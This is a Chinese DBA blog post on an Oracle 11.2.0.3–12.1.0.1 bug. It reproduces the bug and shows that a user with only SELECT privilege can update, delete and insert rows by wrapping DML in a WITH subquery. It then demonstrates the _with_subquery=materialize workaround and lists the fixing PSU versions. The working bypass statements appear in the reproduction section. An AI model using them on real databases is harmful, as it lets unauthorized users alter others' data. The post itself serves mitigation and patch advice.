oracle解决方案_with_subquery=materialize或者psu(2014.07以后)
最近网上流传的通过with绕过权限实现非法更新表数据,存在较大风险.对于cpu bug在2014年07月份psu中修复,建议升级对应psu,如果条件不允许,可以通过_with_subquery参数临时规避该风险
数据库版本信息
SQL> select * from v$version;
BANNER
--------------------------------------------------------------------------------
Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production
PL/SQL Release 11.2.0.4.0 - Production
CORE 11.2.0.4.0 Production
TNS for Linux: Version 11.2.0.4.0 - Production
NLSRTL Version 11.2.0.4.0 - Production
[oracle@localhost ~]$ opatch lsinventory
Oracle Interim Patch Installer version 11.2.0.3.4
Copyright (c) 2012, Oracle Corporation. All rights reserved.
Oracle Home : /u01/app/oracle/product/11.2.0/db_1
Central Inventory : /u01/app/oraInventory
from : /u01/app/oracle/product/11.2.0/db_1/oraInst.loc
OPatch version : 11.2.0.3.4
OUI version : 11.2.0.4.0
Log file location : /u01/app/oracle/product/11.2.0/db_1/cfgtoollogs/opatch/opatch2015-05-25_20-38-37PM_1.log
Lsinventory Output file location : /u01/app/oracle/product/11.2.0/db_1/
cfgtoollogs/opatch/lsinv/lsinventory2015-05-25_20-38-37PM.txt
--------------------------------------------------------------------------------
Installed Top-level Products (1):
Oracle Database 11g 11.2.0.4.0
There are 1 products installed in this Oracle Home.
There are no Interim patches installed in this Oracle Home.
--------------------------------------------------------------------------------
OPatch succeeded.
该数据库版本为11.2.0.4,未安装任何psu补丁
根据恩墨的测试重新bug信息
可以参考原link:Oracle数据库高危漏洞警告！
SQL> conn chf/xifenfei
Connected.
SQL> create table t_dml as select * from dba_users;
Table created.
SQL> create user xifenfei_dml identified by "www.xifenfei.com";
User created.
SQL> grant create session to xifenfei_dml;
Grant succeeded.
SQL> grant select on chf.t_dml to xifenfei_dml;
Grant succeeded.
SQL>
SQL> grant select on chf.t_dml to xifenfei_dml;
Grant succeeded.
SQL> conn xifenfei_dml/"www.xifenfei.com"
Connected.
SQL> select count(*) from chf.t_dml;
COUNT(*)
----------
32
SQL> select username,user_id from chf.t_dml where rownum <= 2;
USERNAME USER_ID
------------------------------ ----------
SYS 0
SYSTEM 5
SQL> update chf.t_dml set username='www.xifenfei.com' where user_id = 5;
update chf.t_dml set username='www.xifenfei.com' where user_id = 5
*
ERROR at line 1:
ORA-01031: insufficient privileges
SQL> update(with tmp as (select user_id,username from chf.t_dml)
2 select user_id,username from tmp) set username='www.xifenfei.com' where user_id=5;
1 row updated.
SQL> commit;
Commit complete.
SQL> select username,user_id from chf.t_dml where rownum <= 2;
USERNAME USER_ID
------------------------------ ----------
SYS 0
www.xifenfei.com 5
SQL> delete (with tmp as (select user_id,username from chf.t_dml)
2 select user_id,username from tmp) where user_id=5;
1 row deleted.
SQL> commit;
Commit complete.
SQL> select username,user_id from chf.t_dml where user_id=5;
no rows selected
SQL> insert into (with tmp as (select * from chf.t_dml)
2 select * from tmp) select * from chf.t_dml where rownum<10;
9 rows created.
SQL> commit;
Commit complete.
SQL> select count(*) from chf.t_dml;
COUNT(*)
----------
40
这里确实证明了,在没有dml情况下,可以通过with方式实现dml操作,从而实现无更改记录用户实现dml操作,数据库存在安全隐患,通过查询mos等相关信息,确定该bug影响数据库11.2.0.3，11.2.0.4,12.1.0.1等常见版本
对于不能及时升级的用户使用_with_subquery参数临时规避该bug
这个隐含参数的含义是在用with子句查询的时候，将 查询结果物化成temp表，（其实这也是我们常用with子句的目的，物化、缓存结果集）
SQL> conn / as sysdba
Connected.
SQL> col name for a52
col value for a24
SQL> SQL> col description for a50
set linesize 150
SQL> SQL> select a.ksppinm name,b.ksppstvl value,a.ksppdesc description
2 from x$ksppi a,x$ksppcv b
where a.inst_id = USERENV ('Instance')
3 4 and b.inst_id = USERENV ('Instance')
5 and a.indx = b.indx
6 and upper(a.ksppinm) LIKE upper('%¶m%')
7 order by name
/ 8
Enter value for param: _WITH_SUBQUERY
old 6: and upper(a.ksppinm) LIKE upper('%¶m%')
new 6: and upper(a.ksppinm) LIKE upper('%_WITH_SUBQUERY%')
NAME VALUE DESCRIPTION
---------------------------------------------------- ------------------------ ------------------------------
_with_subquery OPTIMIZER WITH subquery transformation
SQL> alter system set "_with_subquery"=materialize;
System altered.
SQL> alter system set "_with_subquery"=materialize;
System altered.
SQL> insert into (with tmp as (select * from chf.t_dml)
2 select * from tmp) select * from chf.t_dml where rownum<10;
insert into (with tmp as (select * from chf.t_dml)
*
ERROR at line 1:
ORA-01732: data manipulation operation not legal on this view
SQL> delete (with tmp as (select user_id,username from chf.t_dml)
2 select user_id,username from tmp) where user_id=5;
delete (with tmp as (select user_id,username from chf.t_dml)
*
ERROR at line 1:
ORA-01732: data manipulation operation not legal on this view
SQL> update(with tmp as (select user_id,username from chf.t_dml)
2 select user_id,username from tmp) set username='www.xifenfei.com' where user_id=5;
update(with tmp as (select user_id,username from chf.t_dml)
*
ERROR at line 1:
ORA-01732: data manipulation operation not legal on this view
该漏洞在2014年7月的CPU中被修正,以下psu中包含了该cpu补丁,如果条件允许,建议尽快升级如下版本
Version 12.1.0.1.4 or later
Version 11.2.0.4.3 or later
Version 11.2.0.3.11 or later
Version 11.1.0.7.20 or later
